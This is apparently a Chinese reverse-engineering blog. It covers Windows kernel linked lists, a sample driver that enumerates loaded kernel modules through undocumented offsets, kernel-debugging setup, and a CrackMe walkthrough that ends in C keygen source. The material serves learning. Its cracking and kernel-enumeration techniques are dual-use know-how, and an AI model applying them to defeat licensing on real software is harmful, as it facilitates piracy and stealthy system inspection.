fffff803`85c8ab42 488901          mov     qword ptr [rcx],rax
fffff803`85c8ab45 48894808        mov     qword ptr [rax+8],rcx
fffff803`85c8ab49 48897f08        mov     qword ptr [rdi+8],rdi
fffff803`85c8ab4d 48893f          mov     qword ptr [rdi],rdi

这是链表删除节点之前的样子

这是删除之后的样子

可以看到RemoveEntryList除了将要删除节点的前后节点的Flink和Blink进行更改之外，还将要删除节点的Flink和Blink都指向了自己从而使得要删除的节点和原始链表彻底失去联系

上面这些操作都是单纯的针对链表本身进行的操作，而我们最感兴趣的是存储数据的节点，ListEntry是嵌入在存储数据的结构体中的，我们需要通过ListEntry来去访问真正感兴趣的数据

通过下面这个宏可以达到目的

#define CONTAINING_RECORD(address, type, field) ((type *)((PCHAR)(address) - (ULONG_PTR)(&((type*)0)->field)))

使用ListEntry的地址减去ListEntry成员在当前结构体中的偏移量，即可获取到当前结构体的地址

https://social.msdn.microsoft.com/Forums/officeocs/en-US/c5068503-2daf-4e60-803f-70a1ffd3ba72/what-is-macro-containingrecord-doing?forum=wdk

上面宏定义中的一些细节：

ULONG_PTR用于将指针转换成长整型，PCHAR用于将地址单位转换成字节，而不是该地址的类型的size

可以通过下面这段代码来理解

#include <stdio.h>
#include <windows.h>

typedef struct TEST {
    int a;
    int b;
} test, *ptest;

int main(void)
{
    test test_test;
    test_test.b = 520;
    int* addr_b = &test_test.b;
    printf("base address of test_test: \t%p\n", &test_test);
    printf("address of addr_b: \t\t%p\n", addr_b);
    ULONG ret1 = ULONG_PTR(&((ptest)0)->b);
    printf("field \"b\" offset in TEST: \t%u\n", ret1);
    printf("address with no PCHAR cast: \t%p\n", addr_b - ret1);
    printf("address with PCHAR cast: \t%p\n", (PCHAR)addr_b -ret1);
    return 0;
}

可以看到在不转换为PCHAR的情况下，实际上减去的是4*sizeof(int)，而转换之后就是减去4

拿KDPC结构体举例

PKDEFERRED_ROUTINE ReadEntryDeferredRoutine (PLIST_ENTRY entry) {
    PKDPC p;
    p = CONTAINING_RECORD(entry, KDPC, DpcListEntry);
    return p->DeferredRoutine;
}

CONTAINING_RECORD这个宏一般会在节点删除和节点遍历中用到

walk-thorugh

书中提到了一个驱动Sample C，可能是在随书光盘里的文件，但是我没找到这个，只能凑合看了

下面是这个驱动中的一个函数sub_115DA的代码片段

01: .text:000115FF mov eax, dword_1436C
02: .text:00011604 mov edi, ds:wcsncpy
03: .text:0001160A mov ebx, [eax]
04: .text:0001160C mov esi, ebx
05: .text:0001160E loop_begin: 
06: .text:0001160E cmp dword ptr [esi+20h], 0
07: .text:00011612 jz short failed
08: .text:00011614 push dword ptr [esi+28h] 
09: .text:00011617 call ds:MmIsAddressValid
10: .text:0001161D test al, al
11: .text:0001161F jz short failed
12: .text:00011621 mov eax, [esi+28h]
13: .text:00011624 test eax, eax
14: .text:00011626 jz short failed
15: .text:00011628 movzx ecx, word ptr [esi+24h]
16: .text:0001162C shr ecx, 1
17: .text:0001162E push ecx ; size_t
18: .text:0001162F push eax ; wchar_t *
19: .text:00011630 lea eax, [ebp+var_208]
20: .text:00011636 push eax ; wchar_t *
21: .text:00011637 call edi ; wcsncpy
22: .text:00011639 lea eax, [ebp+var_208]
23: .text:0001163F push eax ; wchar_t *
24: .text:00011640 call ds:_wcslwr
25: .text:00011646 lea eax, [ebp+var_208]
26: .text:0001164C push offset aKrnl ; "krnl"
27: .text:00011651 push eax ; wchar_t *
28: .text:00011652 call ds:wcsstr
29: .text:00011658 add esp, 18h
30: .text:0001165B test eax, eax
31: .text:0001165D jnz short matched_krnl
32: .text:0001165F mov esi, [esi]
33: .text:00011661 cmp esi, ebx
34: .text:00011663 jz short loop_end
35: .text:00011665 jmp short loop_begin
36: .text:00011667 matched_krnl: 
37: .text:00011667 lea eax, [ebp+var_208]
38: .text:0001166D push '\' ; wchar_t
39: .text:0001166F push eax ; wchar_t *
40: .text:00011670 call ds:wcsrchr
41: .text:00011676 pop ecx
42: .text:00011677 test eax, eax

代码中的前四行访问了一个指针dword_1436C，并将其指向的内容保存到了ebx和esi中

然后在循环体中，有三处引用了esi

[esi+20h]
[esi+28h]
[esi+24h]

据此可以推测出esi是一个长度至少为2ch的结构体

在循环体的最后，从结构体的第一个成员中读出一个指针，然后和指向该结构体的指针进行比较，相等则结束循环，否则继续循环

据此可以推断出，该循环可能是在遍历一个循环双链表，且该结构体的第一个成员是next，因为它在判断next是否指向头部，并且把esi设置为了next所指向的节点地址

但是目前还不能断定一定就存在LIST_ENTRY，可能存在，也可能不存在

然后找一下dword_1436C这个变量是从哪里来的

函数sub_11553使用STDCALL调用约定接受两个参数，一个是指向DRIVER_OBJECT的指针，另一个是指向全局变量dword_1436C的指针

感兴趣的代码片段：

01: .text:00011578 mov eax, 0FFDFF034h
02: .text:0001157D mov eax, [eax]
03: .text:0001157F mov eax, [eax+70h]
04: ...
05: .text:0001159E mov ecx, [ebp+arg_4] ; pointer to the global var
06: .text:000115A1 mov [ecx], eax

这段代码中有一个硬编码的地址0FFDFF034h，然后取出该结构体偏移量为70h的成员的值写入到全局变量中

这个硬编码地址在XP中可以被分为两部分，0FFdFF000h和偏移量34h，其中前者为processor control block结构体（KPCR）的地址，后者是成员KdVersionBlock成员的偏移量，KdVersionBlock偏移量为70h的成员是个什么东西呢？

这个成员是PsLoadedModuleList，一个指向全局链表头部的指针

该链表中的每一个节点都是KLDR_DATA_TABLE_ENTRY类型，它存储了当前载入的内核模块信息

该结构体的第一个成员是一个LIST_ENTRY，这和上面的汇编代码是吻合的，esi就是LIST_ENTRY，[esi]就是Flink

如果你对上面的结论有疑问，请看下面的代码：

#include <stdio.h>
#include <windows.h>

typedef struct LE {
    struct LE* flink;
    struct LE* blink;
} le, * ple;
typedef struct TEST {
    le mle;
    int b;
} test, * ptest;

int main(void)
{
    test test_test;
    le mle;
    mle.flink = mle.blink = &mle;
    test_test.mle = mle;
    test_test.b = 520;
    printf("%p\n", &test_test);
    printf("%p\n", &test_test.mle);
    printf("%p\n", &test_test.mle.flink);
    return 0;
}

可以看到这三个地址是完全一样的，如果说esi是test_test的地址的话，那么[esi]就是对test_test.mle.flink取值（*test_test.mle.flink）

经过以上分析，可以对这两个函数sub_115DA和sub_11553做出如下总结

sub_11553，从processor control block中读取KdVersionBlock指针，然后再从该指针中获取到PsLoadedModuleList指针，该指针指向链表的Head，该链表的节点类型位KLDR_DATA_TABLE_ENTRY；将这个函数的名称改为GetLoadedModuleList
sub_115DA，遍历LoadedModuleList链表，直到找到一个entry的名字是krnl；将这个函数名改为GetKernelName

翻译成C语言代码：

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY ListEntry;
    ...
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ...
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

BOOL GetLoadedModuleList(PDRIVER_OBJECT drvobj, PLIST_ENTRY g_modlist) {
    ...
    g_modlist = (PCR->KdVersionBlock) + 0x70;
    ...
}

BOOL GetKernelName() {
    WCHAR fname[...];
    PKLDR_DATA_TABLE_ENTRY entry;
    PLIST_ENTRY p = g_modlist->Flink;
    while(p = _modlist) {
        entry = CONTAINING_RECORD(p, KLDR_DATA_TABLE_ENTRY, ListEntry);
        ...
        wcsncpy(fname, entry->FullDllName.Buffer, entry->FullDllName.Length*2);
        ...
        if(wcsstr(fname, L"krnl") != NULL { ... }
        p = p->Flink;
    }
    ...
}

由于上面的驱动程序中存在硬编码的地址和偏移量，在某些版本的windows操作系统中可能无法正常运行

12: .text:00011621 mov eax, [esi+28h]
13: .text:00011624 test eax, eax
14: .text:00011626 jz short failed
15: .text:00011628 movzx ecx, word ptr [esi+24h]
16: .text:0001162C shr ecx, 1
17: .text:0001162E push ecx ; size_t
18: .text:0001162F push eax ; wchar_t *
19: .text:00011630 lea eax, [ebp+var_208]
20: .text:00011636 push eax ; wchar_t *
21: .text:00011637 call edi ; wcsncpy

上面的代码调用了wcsncpy对UNICODE_STRING进行复制，偏移量24h为UNICODE_STRING的长度，28h为UNICODE_STRING字符串的地址

UNICODE_STRING结构体定义如下

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

上面的代码中，作为长度的ecx右移了一位，相当于x2，是为了保证源buffer中的内容一定会被全部拷贝到目的buffer

也就是说如果在偏移量为24h的地方如果不存在UNICODE_STRING结构体，那么这个驱动代码也无法正常执行，因为esi所代表的的结构体，也就是KLDR_DATA_TABLE_ENTRY是一个没有公开文档的结构体，微软可能在新的版本中对该结构体的成员进行增删，那么UNICODE_STRING的偏移量也会产生变化

还有就是这个驱动程序在遍历链表的时候有模块被卸载掉了，那么可能会引起空指针异常（访问违例），因为他在遍历链表的时候没加锁

之所以能够分析明白上面两个函数，是因为之前已经拥有了内核相关知识以及内核模式下的驱动分析经验，所以可以一眼看出那些像谜一样的16进制数字到底代表着什么含义

结合esi所代表的结构体的一系列特征，推测出该结构体可能为KLDR_DATA_TABLE_ENTRY，该结构体与具有公开定义的LDR_DATA_TABLE_ENTRY非常相似

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm

进行逆向分析需要大量的操作系统知识和经验

作者说了，在一开始的时候你可能并不具备那么多知识以及敏锐的直觉，所以一开始你看不懂也是很正常的事情

入典：

foundational knowledge + intuition + experience + patience = skills

习题

作者给了一堆win8 x64的函数，说这些函数内联了InitalizeListHead函数代码

这个应该很简单，毕竟上面已经分析过InitializeListHead的汇编代码了，我去搞一下

InitializeListHead在64位中有一个很明显的模式：

lea REG, [MEM_LOCATION]
mov [REG+8], REG
mov [REG], REG

网上有一个别人做完的，待会回来跟他对一下

在做题时遇到的问题

windbg查看函数汇编代码失败

nt!CcAllocateInitializeMbcb

nt!CmpInitCallbacks

这里rax就是nt!CallbackListHead

nt!ExCreateCallback

nt!ExpInitSystemPhase0

和别人做的答案对比之后发现漏掉了一个，跟我自己找到的第三个几乎是挨着的，眼花了，没看到。。

nt!ExpInitSystemPhase1

nt!ExpTimerInitialization

nt!InitBootProcessor

nt!IoCreateDevice

nt!IoInitializeIrp

nt!KeInitThread

nt!KeInitializeMutex

nt!KeInitializeProcess

nt!KeInitializeTimerEx

nt!KeInitializeTimerTable

nt!KiInitializeProcessor

nt!KiInitializeThread

这个稍微有点不是太好找

跟到跳转的地址

nt!MiInitializeLoadedModuleList

nt!MiInitializePrefetchHead

nt!PspAllocateProcess

nt!PspAllocateThread

Windows Kernel Debug

2022-05-28T00:00:00+02:00

参考链接：

https://samsclass.info/126/proj/PMA410d.htm

单机调试

这个单机调试对于内核调试比较鸡肋，很多调试命令都执行不了，推荐使用双机调试

正常情况下，如果逆向debug windows kernel，你需要两台可以互相连通的windows机器，一台作为debuger（调试机），一台作为debugee（被调试机）

不过有一个叫做LiveKD的工具，使用这个工具，你只需要一台机器即可对kernel进行debug

首先你需要安装sdk，本文的测试环境为windows 10，因此需要下载win10 sdk进行安装

sdk安装完成之后，使用everything定位到windbg.exe的路径并将其添加到环境变量中

我的测试环境是x64的，所以我选择C:\Program Files (x86)\Windows Kits\10\Debuggers\x64

想要进行kernel debug，你需要先执行两条命令

bcdedit /debug on
bcdedit /dbgsettings local

获取LiveKD工具：https://docs.microsoft.com/zh-cn/sysinternals/downloads/livekd

解压之后，以管理员身份打开cmd进入到该目录，执行livekd64 -w

至此，你就设置好windows kernel debug的环境了

双机调试

thisifuckingshanchubiaozhi1kdekaishi1有些漏洞会导致机器BSOD（blue screen of death），整个计算机就直接崩溃重启了，不适合使用单机调试jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

什么弱智言论，明明是因为内核调试的话整个机器就HALT了，不用两个机器调也没法玩儿呀

双机调试的设置也比较简单，我比较喜欢通过网络进行调试，也有通过使用串口调试的方法，这里不做介绍

这里使用物理机和虚拟机进行双机调试，我虚拟机网卡是桥接模式，所以直接和物理机位于同一个网段

bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.100.28 port:50000 key:my.secure.key.here
bcdedit /set "{dbgsettings}" busparams 3.0.0

在debugee（被调试机）以管理员模式执行上面的命令即可，其中192.168.100.28是debuger（调试机）的IP

3.0.0这个参数可以在debugee中通过如下方式获取：

然后debuger启动windbg，File->Kernel Debug...，将端口号和key输进去就行了

windows7及以下版本

网络调试是从Windows8 (Server 2012)才开始有的，所以对于server 2008或者windows 7以及更早的版本需要使用串口调试，详细细节请查看这个视频：

windows 7

windows XP

windows XP的内核调试器和符号表

CrackMe之cycle注册机

2022-05-12T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21532.htm

要破解的二进制文件和注册机

下断点的方法和crackhead一样，通过搜索所有引入的函数，从中找出可以用来下断点的函数

此处为GetDlgItemTextA函数

我们在该函数出现的所有位置下断点，然后在cycle程序的输入框中随便输点东西，触发断点即可

断点触发之后，我们就不需要这些断点了，在函数调用的下一行下断点即可

下面我们开始捋代码

004010A6  |. 6A 11          PUSH 11                                  ; /Count = 11 (17.)
004010A8  |. 68 71214000    PUSH cycle.00402171                      ; |Buffer = cycle.00402171
004010AD  |. 68 E9030000    PUSH 3E9                                 ; |ControlID = 3E9 (1001.)
004010B2  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004010B5  |. E8 0F020000    CALL <JMP.&USER32.GetDlgItemTextA>       ; \GetDlgItemTextA
004010BA  |. 0BC0           OR EAX,EAX
004010BC  |. 74 61          JE SHORT cycle.0040111F
004010BE  |. 6A 11          PUSH 11                                  ; /Count = 11 (17.)
004010C0  |. 68 60214000    PUSH cycle.00402160                      ; |Buffer = cycle.00402160
004010C5  |. 68 E8030000    PUSH 3E8                                 ; |ControlID = 3E8 (1000.)
004010CA  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004010CD  |. E8 F7010000    CALL <JMP.&USER32.GetDlgItemTextA>       ; \GetDlgItemTextA
004010D2  |. 0BC0           OR EAX,EAX
004010D4  |. 74 49          JE SHORT cycle.0040111F

GetDlgItemTextA函数被调用了两次，返回值存储在EAX中，为获取到的字符串的长度，第三个参数为传出参数，用于存储获取到的字符串，两次调用中分别传入了指针0x00402171和00402160

根据调试结果，第一次调用获取到的是Serial，第二次调用获取到的是Name

只要我们输入不为空（即EAX值不为0），那么上面代码中的JE SHORT cycle.0040111F就不会执行

接着往下看

004010D6  |. B9 10000000    MOV ECX,10
004010DB  |. 2BC8           SUB ECX,EAX
004010DD  |. BE 60214000    MOV ESI,cycle.00402160                   ;  ASCII "1231231231231231"
004010E2  |. 8BFE           MOV EDI,ESI
004010E4  |. 03F8           ADD EDI,EAX
004010E6  |. FC             CLD
004010E7  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>

这段代码对用户名进行了拷贝，CLD复位DDF标志寄存器，因此在执行REP MOVS时ESI和EDI每次拷贝完成后都会增加，由于此处为REP MOVS BYTE，因此每次拷贝一个字节，ESI和EDI的增加梯度也为1字节

拷贝的次数由ECX-EAX的结果决定，即（16-用户名长度），其实就是将用户名的长度扩展到了16位

004010E9  |. 33C9           XOR ECX,ECX
004010EB  |. BE 71214000    MOV ESI,cycle.00402171                   ;  ASCII "1234567890000000"
004010F0  |> 41             /INC ECX
004010F1  |. AC             |LODS BYTE PTR DS:[ESI]
004010F2  |. 0AC0           |OR AL,AL
004010F4  |. 74 0A          |JE SHORT cycle.00401100
004010F6  |. 3C 7E          |CMP AL,7E
004010F8  |. 7F 06          |JG SHORT cycle.00401100
004010FA  |. 3C 30          |CMP AL,30
004010FC  |. 72 02          |JB SHORT cycle.00401100
004010FE  |.^EB F0          \JMP SHORT cycle.004010F0
00401100  |> 83F9 11        CMP ECX,11
00401103  |. 75 1A          JNZ SHORT cycle.0040111F

清空ECX，然后将ESI指向Serial

下面开始循环，其中有一条指令大家可能没见过

LODS指令，Load String Operand

比如此处的LODS BYTE PTR DS:[ESI]，会将ESI所指向的内容加载到EAX寄存器中，至于是加载到EAX、AX、AL由指令控制，此处由于我们是LODS BYTE，因此内存中的内容会被加载到AL中

因此上面代码中的循环就干了一件事，就是检测Serial中的字符是否位于0x30和0x7E之间，也就是ASCII码表中的48~126之间

最后判断了一下字符串长度是否为16，因为ECX会多加一次，也就是说比实际长度多1，根据CMP ECX, 11，我们可以确定Serial的长度必须为16位，因为如果无法满足这个条件，程序就会直接跳到RET指令，那就没得玩儿了，你可以自己试一下，如果Serial的长度不是16位，当你点击Check按钮的时候，程序是没有任何反应的

接着看

00401105  |. E8 E7000000    CALL cycle.004011F1
0040110A  |. B9 01FF0000    MOV ECX,0FF01
0040110F  |. 51             PUSH ECX
00401110  |. E8 7B000000    CALL cycle.00401190
00401115  |. 83F9 01        CMP ECX,1
00401118  |. 74 06          JE SHORT cycle.00401120
0040111A  |> E8 47000000    CALL cycle.00401166
0040111F  |> C3             RETN
00401120  |> A1 68214000    MOV EAX,DWORD PTR DS:[402168]

我们需要确保JE SHORT cycle.00401120执行，因为如果在这里没有跳转的话，那么不可避免的就一定会执行RETN，程序结束，又没得玩了

RETN上面那个CALL只是输出一下错误提示而已

因此我们要保证在前两个CALL执行完毕之后，ECX的值为1

这里我贴一下这两个函数的汇编代码：

cycle.004011f1

004011F1  /$ A1 60214000    MOV EAX,DWORD PTR DS:[402160]
004011F6  |. 8B1D 64214000  MOV EBX,DWORD PTR DS:[402164]
004011FC  |. 3305 71214000  XOR EAX,DWORD PTR DS:[402171]
00401202  |. 331D 75214000  XOR EBX,DWORD PTR DS:[402175]
00401208  |. 25 0F1F3F7F    AND EAX,7F3F1F0F
0040120D  |. 81E3 00010307  AND EBX,7030100
00401213  |. 33C9           XOR ECX,ECX
00401215  |> 8BF0           /MOV ESI,EAX
00401217  |. 8BFB           |MOV EDI,EBX
00401219  |. D3E6           |SHL ESI,CL
0040121B  |. D3E7           |SHL EDI,CL
0040121D  |. 81E6 80808080  |AND ESI,80808080
00401223  |. 81E7 80808080  |AND EDI,80808080
00401229  |. 8BD6           |MOV EDX,ESI
0040122B  |. C0EE 07        |SHR DH,7
0040122E  |. 66:C1E2 07     |SHL DX,7
00401232  |. C1EA 08        |SHR EDX,8
00401235  |. C0EE 07        |SHR DH,7
00401238  |. 66:C1E2 07     |SHL DX,7
0040123C  |. C1EA 08        |SHR EDX,8
0040123F  |. C0EE 07        |SHR DH,7
00401242  |. 66:D1EA        |SHR DX,1
00401245  |. 8BF2           |MOV ESI,EDX
00401247  |. 8BD7           |MOV EDX,EDI
00401249  |. C0EE 07        |SHR DH,7
0040124C  |. 66:C1E2 07     |SHL DX,7
00401250  |. C1EA 08        |SHR EDX,8
00401253  |. C0EE 07        |SHR DH,7
00401256  |. 66:C1E2 07     |SHL DX,7
0040125A  |. C1EA 08        |SHR EDX,8
0040125D  |. C0EE 07        |SHR DH,7
00401260  |. 66:C1EA 05     |SHR DX,5
00401264  |. 8BFA           |MOV EDI,EDX
00401266  |. 33FE           |XOR EDI,ESI
00401268  |. 8BD7           |MOV EDX,EDI
0040126A  |. 81E2 FF000000  |AND EDX,0FF
00401270  |. 51             |PUSH ECX
00401271  |. 52             |PUSH EDX
00401272  |. BA 08000000    |MOV EDX,8
00401277  |. 91             |XCHG EAX,ECX
00401278  |. 83F8 03        |CMP EAX,3
0040127B  |. 7F 0F          |JG SHORT cycle.0040128C
0040127D  |. F6E2           |MUL DL
0040127F  |. 5A             |POP EDX
00401280  |. 83C0 08        |ADD EAX,8
00401283  |. 91             |XCHG EAX,ECX
00401284  |. D3C0           |ROL EAX,CL
00401286  |. 33C2           |XOR EAX,EDX
00401288  |. D3C8           |ROR EAX,CL
0040128A  |. EB 0D          |JMP SHORT cycle.00401299
0040128C  |> 83E8 03        |SUB EAX,3
0040128F  |. F6E2           |MUL DL
00401291  |. 5A             |POP EDX
00401292  |. 91             |XCHG EAX,ECX
00401293  |. D3C3           |ROL EBX,CL
00401295  |. 33DA           |XOR EBX,EDX
00401297  |. D3CB           |ROR EBX,CL
00401299  |> 59             |POP ECX
0040129A  |. 41             |INC ECX
0040129B  |. 83F9 08        |CMP ECX,8
0040129E  |.^0F85 71FFFFFF  \JNZ cycle.00401215
004012A4  \. C3             RETN

cycle.00401190

00401190  /$ 5F             POP EDI
00401191  |. 59             POP ECX
00401192  |. 57             PUSH EDI
00401193  |. 81F9 80000000  CMP ECX,80
00401199  |. 7E 55          JLE SHORT cycle.004011F0
0040119B  |. 51             PUSH ECX
0040119C  |. 8BF1           MOV ESI,ECX
0040119E  |. 81E1 FF000000  AND ECX,0FF
004011A4  |. 8BF8           MOV EDI,EAX
004011A6  |. 83F9 08        CMP ECX,8
004011A9  |. 7E 05          JLE SHORT cycle.004011B0
004011AB  |. 8BFB           MOV EDI,EBX
004011AD  |. C1E9 04        SHR ECX,4
004011B0  |> C1C7 08        /ROL EDI,8
004011B3  |. D1E9           |SHR ECX,1
004011B5  |.^75 F9          \JNZ SHORT cycle.004011B0
004011B7  |. C1EE 08        SHR ESI,8
004011BA  |. 23FE           AND EDI,ESI
004011BC  |. 81E7 FF000000  AND EDI,0FF
004011C2  |. 59             POP ECX
004011C3  |> BE 80000000    MOV ESI,80
004011C8  |> 85FE           /TEST ESI,EDI
004011CA  |. 74 20          |JE SHORT cycle.004011EC
004011CC  |. 33FE           |XOR EDI,ESI
004011CE  |. 57             |PUSH EDI
004011CF  |. 81E1 00FF0000  |AND ECX,0FF00
004011D5  |. 87CE           |XCHG ESI,ECX
004011D7  |. 32E9           |XOR CH,CL
004011D9  |. 33F1           |XOR ESI,ECX
004011DB  |. 87F1           |XCHG ECX,ESI
004011DD  |. 51             |PUSH ECX
004011DE  |. FF05 82214000  |INC DWORD PTR DS:[402182]
004011E4  |. E8 A7FFFFFF    |CALL cycle.00401190
004011E9  |. 5F             |POP EDI
004011EA  |.^EB D7          |JMP SHORT cycle.004011C3
004011EC  |> D1EE           |SHR ESI,1
004011EE  |.^75 D8          \JNZ SHORT cycle.004011C8
004011F0  \> C3             RETN

指令都认识，但是这两个函数具体做了什么，我是不知道的，肯定是某种算法，但是变成机器码之后，几乎面目全非，根本无法辨识

我也是盯着这两段代码看了好久，什么思路都没有，最后就干脆用C语言把这个代码逻辑给实现了

https://144.one/s/u14s4

在这段代码中，我固定了用户名的前8位以及序列号的前4位，然后爆破序列号的4~7位

根据代码逻辑，EBX的初始化过程如下：

ebx = name[4-7] ^ serial[4-7] & 0x07030100

由于很多bit位都在与操作中被丢弃了，所以serial[4-7]并没有太多可能的值

但是我的这个代码并没有得到合法的Name和Serial，不过我发现了一些规律

在第一个函数cycle.004011f1运行完毕之后，EAX的值从未变过，EBX的值呈现周期性循环，循环周期为4

经过第二个函数cycle.00401190的运算之后，ecx的值总是同一个

后来我就突发奇想，如果我们控制EAX的值，使对应掩码0x7F3F1F0F所有的保留位全部为1，会发生什么？于是得出如下关系式

name[0-3] ^ serial[0-3] = 0x7F3F1F0F
serial[0-3] = name[0-3] ^ 0x7F3F1F0F

上面表达式中的0x7F3F1F0F可以有多个值，只要每个字节的高4bit的值x分别满足0<= x <1、0<= x <2、0<= x <4、0<= x <8即可，具体逻辑可以看代码

但是这样会限制serial[3]的值不能超过0x50，后来放松了第一个字节的限制，使其满足0<= x <2，发现这样也能生成有效的序列号，

然后我就随便找了一组，**JE、UUUJ

结果发现，居然找出了满足ecx=1的serial[4-7]

虽然我不知道这究竟是为什么，但事实就是只要我们满足上面那个表达式，那么经过最多64次尝试，就能找到一组合法的用户名和序列号

在通过ecx==1的检测之后，还有一个检测，但是就比较简单了，具体分析请查看下面的注册机源代码

注册机运行效果：

下面是注册机代码，仍然使用codeblocks编译，你可以取消____DEBUG宏的注释以观察程序运行过程中各变量的变化：

// Author:  12138
// URL:     http://144.34.164.217
//          https://144.one
// Date:    2022/05/12 04:00 AM
// Desc:    CrackMe.cycle serial generator

#include   <windows.h>
#include   <stdio.h>
#include   <string.h>
#include   <time.h>

// #define ____DEBUG

#ifdef ____DEBUG
#define FUCK(_format, _var) printf(_format, _var);
#define CUM(_str) printf(_str);
#else
#define FUCK(_format, _var);
#define CUM(_str);
#endif

typedef unsigned int _ui;

// 这个计数器应该是一个全局变量
_ui _TODO_counter = 0xFEDCBA98;

char generate_random(char lower, char upper) {
   return (rand() % (upper - lower + 1)) + lower;
}

_ui string_to_hex(char* _string, int _begin) {
    char _24_31[3]={0};
    char _16_23[3]={0};
    char _8_15[3]={0};
    char _0_7[3]={0};

    sprintf(_24_31, "%02X", _string[_begin]);
    sprintf(_16_23, "%02X", _string[_begin+1]);
    sprintf(_8_15, "%02X", _string[_begin+2]);
    sprintf(_0_7, "%02X", _string[_begin+3]);

    char hex_string[8+1] = {0};
    strcpy(hex_string, _0_7);
    strcat(hex_string, _8_15);
    strcat(hex_string, _16_23);
    strcat(hex_string, _24_31);
    _ui _ret_val = (_ui)strtoul(hex_string, NULL, 16);
    return _ret_val;
}

int hex_to_string(_ui _hex_value, char* _ret_string) {
    _ui _s_15 = _hex_value & 0xFF000000;
    _s_15 = _s_15 >> 24;
    _ui _s_14 = _hex_value & 0x00FF0000;
    _s_14 = _s_14 >> 16;
    _ui _s_13 = _hex_value & 0x0000FF00;
    _s_13 = _s_13 >> 8;
    _ui _s_12 = _hex_value & 0x000000FF;
    if (_s_12 < 0x30 || _s_12 > 0x7E || _s_13 < 0x30 || _s_13 > 0x7E || _s_14 < 0x30 || _s_14> 0x7E || _s_15 < 0x30 || _s_15 > 0x7E) {
        return 1;
    }
    char hex_string[4+1] = {0};
    char _tmp_val[2] = {0};
    sprintf(_tmp_val, "%c", _s_12);
    strcpy(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_13);
    strcat(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_14);
    strcat(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_15);
    strcat(hex_string, _tmp_val);
    strcpy(_ret_string, hex_string);
    return 0;
}

_ui _401190(_ui eax, _ui ebx, _ui ecx) {
    if(ecx > 0x80) {
        _ui _tmp_val = ecx;
        _ui esi = ecx;
        ecx = ecx & 0xFF;
        _ui edi = eax;
        if(ecx > 0x08) {
            edi = ebx;
            ecx = ecx >> 4;
        }
        while (ecx != 0) {
            edi = _rotl(edi, 8);
            ecx = ecx >> 1;
        }
        esi = esi >> 8;
        edi = edi & esi;
        edi = edi & 0xFF;
        ecx = _tmp_val;
        esi = 0x80;
        while (1) {
            if((esi & edi) == 0) {
                esi = esi >> 1;
                // 只有esi和edi与运算的结果等于0且esi右移1位等于0的时候，这个循环才会被打破
                if(esi == 0)
                    break;
                else
                    continue;
            }
            edi = edi ^ esi;
            _tmp_val = edi;
            ecx = ecx & 0xFF00;
            _ui _exch_val = ecx;
            ecx = esi;
            esi = _exch_val;
            // 对CH和CL进行异或运算，并将结果反映到ECX上
            _ui ch = ecx & 0xFF00;
            ch =  ch >> 8;
            _ui cl = ecx & 0xFF;
            ch = ch ^ cl;
            ch = ch << 8;
            ch = ch & 0xFF00;
            ecx = ecx & 0xFFFF00FF;
            ecx = ecx | ch;
            esi = esi ^ ecx;
            _exch_val = ecx;
            ecx = esi;
            esi = _exch_val;
            _TODO_counter += 1;
            FUCK("[*] _TODO counter: 0x%x\n", _TODO_counter);
            ecx = _401190(eax, ebx, ecx);
            edi = _tmp_val;
            esi = 0x80;
            continue;
        }
        return ecx;
    }
    else
        return ecx;
}

int register_func(char* extend_user_name, char* serial) {

    printf("[*] current Serial: %s\n", serial);
    // 获取用户名的0~3位并转换成整型数
    _ui eax = string_to_hex(extend_user_name, 0);
    FUCK("[*] eax: %x\n", eax);

    // 获取用户名的4~7位并转换成整型数
    _ui ebx = string_to_hex(extend_user_name, 4);
    FUCK("[*] ebx: %x\n", ebx);

    // 获取序列号的0~3位并转换成整型数
    _ui _xor_eax = string_to_hex(serial, 0);
    FUCK("[*] the oprand xor with eax: %x\n", _xor_eax);

    // 获取序列号的4~7位并转换成整型数
    _ui _xor_ebx = string_to_hex(serial, 4);
    FUCK("[*] the oprand xor with ebx: %x\n", _xor_ebx);

    eax = eax ^ _xor_eax;
    ebx = ebx ^ _xor_ebx;
    eax = eax & 0x7F3F1F0F;
    ebx = ebx & 0x07030100;
    printf("[*] eax is ready for loop: %x\n", eax);
    printf("[*] ebx is ready for loop: %x\n",ebx);

    // 下面开始循环
    int loop_counter = 0, ecx = 0;
    while(loop_counter < 8) {
        FUCK("\n_________________OO<--%d-->OO_________________\n", loop_counter);
        ecx = loop_counter;
        _ui esi = eax;
        _ui edi = ebx;
        esi = esi << ecx;
        edi = edi << ecx;
        // 这一步其实就是获取到esi和edi每个字节中的最高位
        esi = esi & 0x80808080;
        edi = edi & 0x80808080;
        _ui edx = esi;
        // 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的高四位中
        _ui _d = edx & 0x80000000;
        _d = _d >> 31;
        _ui _c = edx & 0x00800000;
        _c = _c >> 23;
        _ui _b = edx & 0x00008000;
        _b = _b >> 15;
        _ui _a = edx & 0x00000080;
        _a = _a >> 7;

        char _DL_H4_0_3[3] = {0};
        sprintf(_DL_H4_0_3, "%X", _d*8+_c*4+_b*2+_a);
        char* hex_string = (char*)malloc(2+1);
        strcpy(hex_string, _DL_H4_0_3);
        edx = (_ui)strtoul(hex_string, NULL, 16);
        free(hex_string);
        edx = edx << 4;
        esi = edx;
        FUCK("[*] esi: 0x%x\n", esi);
        /*
        我们分别用ABCD代表一个32位数中每个字节的最高位
        |-----------------| |--------DX-------|
        |                 | |---DH--| |--DL---|
        D000 0000 C000 0000 B000 0000 A000 0000         DH  >> 7
        D000 0000 C000 0000 0000 000B A000 0000         DX  << 7
